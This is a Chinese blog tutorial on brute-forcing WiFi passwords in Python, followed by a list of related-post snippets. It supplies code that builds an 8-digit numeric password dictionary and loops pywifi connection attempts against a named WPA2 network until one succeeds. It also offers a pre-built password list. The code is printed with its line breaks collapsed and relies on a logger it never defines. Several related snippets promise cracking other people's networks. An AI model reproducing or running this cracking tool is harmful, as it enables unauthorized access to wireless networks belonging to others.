Python3下的WIFI密码爆破
python下的WIFI密码爆破,本文采用的字典方式,也是目前主流的方式之一,理论上只要你的字典够强,破解只是时间问题。这里除介绍密码尝试,关键的字典生成也是本文介绍的重点。
pywifi安装
pywifi提供了一个跨平台的Python模块,用于操作无线接口,支持Windows和Linux。
安装建议采用 pip install pywifi 方式
字典生成
import itertools as its
import datetime# 记录程序运行时间
start = datetime.datetime.now()
words = '1234567890' # 这里可以加入字母和其他字符,使用string包更方便
# 生成密码的位数
r = its.product(words, repeat=8) # 4即生成4位密码,正常情况下热点密码位数为8
dic = open(r"password.txt", 'a')
for i in r:dic.write(''.join(i))dic.write(''.join('\n'))print(i)dic.close()
print('密码本生成好了')
end = datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end - start))
可以根据实际情况有针对性的调整字典,也可以使用我已生成的 常用密码本
读取密码本
def readPassword():# print("开始破解:")log.logger.info("开始破解:")# logger.info("开始破解:")# 密码本路径path = "./dict/test.txt"# 打开文件file = open(path, "r")while True:try:# 一行一行读取pad = file.readline()if (pad == ''):breakbool = wifiConnect(pad)if bool:# print("密码已破解: ", pad)# print("WiFi已自动连接!!!")log.logger.info("密码已破解: %s", pad)log.logger.info("WiFi已自动连接!!!")breakelse:# 跳出当前循环,进行下一次循环# print("密码破解中....密码校对: ", pad)log.logger.info("密码破解中....密码校对: %s 失败", pad)except:continue
验证连接是否成功
import pywifi
from pywifi import const
import time
import datetime
def wifiConnect(pwd):# 抓取网卡接口wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有连接ifaces.disconnect()time.sleep(1)wifistatus = ifaces.status()if wifistatus == const.IFACE_DISCONNECTED:# 创建WiFi连接文件profile = pywifi.Profile()# 要连接WiFi的名称profile.ssid = "CMCC-qdjp"# 网卡的开放状态profile.auth = const.AUTH_ALG_OPEN# wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 调用密码profile.key = pwd# 删除所有连接过的wifi文件ifaces.remove_all_network_profiles()# 设定新的连接文件tep_profile = ifaces.add_network_profile(profile)ifaces.connect(tep_profile)# wifi连接时间time.sleep(3)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:# print("已有wifi连接")log.logger.info("已有wifi连接")
运行
start = datetime.datetime.now()
readPassword()
end = datetime.datetime.now()
# print("破解WIFI密码一共用了多长时间:{}".format(end - start))
log.logger.info("破解WIFI密码一共用了多长时间:{}".format(end - start))
全部源码
Python3下的WIFI密码爆破相关推荐
- Kali 下wpa2安全 下的WiFi密码解
Kali 下wpa2安全 下的WiFi密码解 这段时间沉迷与黑客技术无法自拔,当一名炫酷的黑客是每个男孩儿时的梦想,但是这条路也是艰辛的,孤独的,就看你有没有那个恒心一直走下去.现在网络很发达有很多的 ...
- 一个非常简单易懂的WIFI密码爆破python脚本
为什么80%的码农都做不了架构师?>>> 环境准备 python2.7 凑合的linux 差不多的无线网卡 pywifi模块 弱口令字典 清除系统中的任何wifi连接记录(非常 ...
- 学习linux下破解wifi密码
本文的最终目的是介绍相关网络安全知识, 提高大家的防范意识, 正所谓知己知彼百战不殆. 破解他人wifi的行为都是违法的, 与本文无关, 请知悉. 一. 软硬件环境 硬件: cubieboard2 系 ...
- 基于Linux上的wifi密码爆破
首先先介绍一下工具:vm虚拟机,移动无线网卡,一个装有aircrack的linux(这里我用的是kali),靠谱的密码字典.Ps:如果不用虚拟机的话应该可以直接使用电脑内置无线网卡 第一步,查看网卡信 ...
- Windows下查看wifi密码的命令
netsh wlan show profiles name='wifi名称' key=clear
- Win10下怎么查看WIFI密码
在Win10下怎么查看WIFI密码呢,有以下两种方法,大家觉的哪个更方便就用哪个方法. 注:所能查看WIFI密码,必须之前已经连接上. 方法一:系统设置查看WiFi密码 首先,电脑需要先连接WiFi网 ...
- 自学python当黑客-用Python做黑客,暴力破解wifi密码
前几篇文章主要介绍了使用delphi开发后门及简单的远控的知识,有小伙伴说delphi已经过时了没人用了,但是笔者觉得编程语言只是实现功能的一种方式,使用你熟悉或者喜欢的语言即可. 在最近的公司项目开 ...
- clion 查看内容窗口_苹果电脑(macOS)查看 WiFi 密码的两种方法
WiFi 密码通常是第一次连接的时候输入一遍,之后当再次进入 WiFi 信号范围就会自动连接:在苹果的生态下,若果多个你有多个设备共用一个苹果 ID ,甚至只需要在其中一台设备上连接一次 WiFi , ...
- python查看手机上wifi密码_忘了wifi密码怎么办?用Python查!
经常遇到这样一种情况:家里来了客人,问你要wifi密码. 尴尬的是,你忘了wifi密码. 不过你的其他设备已经连接过WiFi,这时候你怎么利用这些设备重新获取WiFi密码呢? 方式一:登录路由器管理页 ...
- linux连公共wifi怎么输密码,公共Wifi密码怎么用 公共Wifi密码使用方法
最近小编在QQ空间看到了一篇转载比较疯狂的QQ空间日志,短短几行字的日志在几天内竟然被转载了40多万次,文中的内容主要是介绍一些移动与电信的公共Wifi密码,号称只要能搜索到移动或者电信的无线网络即可 ...
最新文章
- PyTorch一年增长194%,兼容性更强,超越TensorFlow指日可待
- CentOS-文件操作
- Delphi 关键字详解[整理于 橙子 的帖子]
- 《第二章:深入了解超文本》
- TensorFlow 加载多个模型的方法
- linux强实时,强实时性Linux内核的研究与设计
- linux shell 解析文本文件,linux Shell 全解析
- 编程之美-程序理解和时间分析
- C#网络编程----文件流
- 海康威视的视频web端(vue开发)的实时预览、录像回放和页面拖拽
- win7家庭普通版升级旗舰版 密钥
- 100道MySQL数据库经典面试题解析(有空必看)
- 销售宝:让客户无法拒绝的销售话术
- Freeswitch 默认配置
- 理性做产品:用数据+漏斗、地图和路径来指引
- 第二次作业——结对项目之需求分析与原型设计
- 【娱乐大闯关】C语言实现模拟ATM机管理系统
- 大学生bootstrap框架网页作业成品 web前端大作业期末源码 航海王html+jquery+bootstrap响应式网页制作模板 学生海贼王动漫bootstrap框架网站作品
- RGB565转RGB888
- 优雅地处理运行时权限请求
热门文章
- 关于python文件打开模式表示错误的是_python文件读取失败了该怎么处理 !
- python深度学习——案例讲解
- java 前端及后台轮询方法总结
- 团队软件库_R FMEA软件介绍
- 用Java代码敲出简易的王者荣耀单机版,让你秒懂王者荣耀的运行机制
- python函数手册 chm_Python中文文档
- java窗口按钮位置设置
- 用html布局象棋棋盘,5分钟掌握22种常见象棋布局,实例演示象棋布局大全、开局大全...
- 互联网晚报 | 9/28星期三 | 微信退群可选保留聊天记录 ;iPhone 14 Pro被吐槽信号差;​贾跃亭率获1亿美元融资...
- uefi linux开发环境,UEFI开发学习1 - Ubuntu下搭建UDK2018开发环境